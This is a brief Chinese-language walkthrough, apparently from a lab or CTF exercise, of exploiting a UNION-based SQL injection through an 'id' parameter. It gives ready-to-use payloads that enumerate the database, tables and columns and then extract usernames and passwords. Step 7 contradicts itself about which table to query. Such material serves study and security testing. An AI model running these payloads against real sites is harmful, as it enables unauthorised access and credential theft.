?
1.判斷是否存在漏洞
添加and 1=1發現正常顯示,添加and 1=2無回顯條目,則存在sql注入漏洞
2.因為有回顯,嘗試union聯合注入,使用order by判斷出有3個字段
3.使用union聯合注入查看回顯位,發現3三個字段均有回顯,任意使用字段注入即可
4.獲取數據庫名
?id=-1 union select database(),2,3
5.獲取表名,這時候發現如果使用1和2回顯位會顯示報錯,那么可以使用3回顯位回顯
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
6.猜測用戶可能存在user或users表中,先使用user表查看字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="user"
7.查看id=1的username和password
這里應該不是user表,真是用戶存在users表,將表名改為users一樣
?id=-1 union select 1,2,group_concat(username,',',password) from user where id=1
?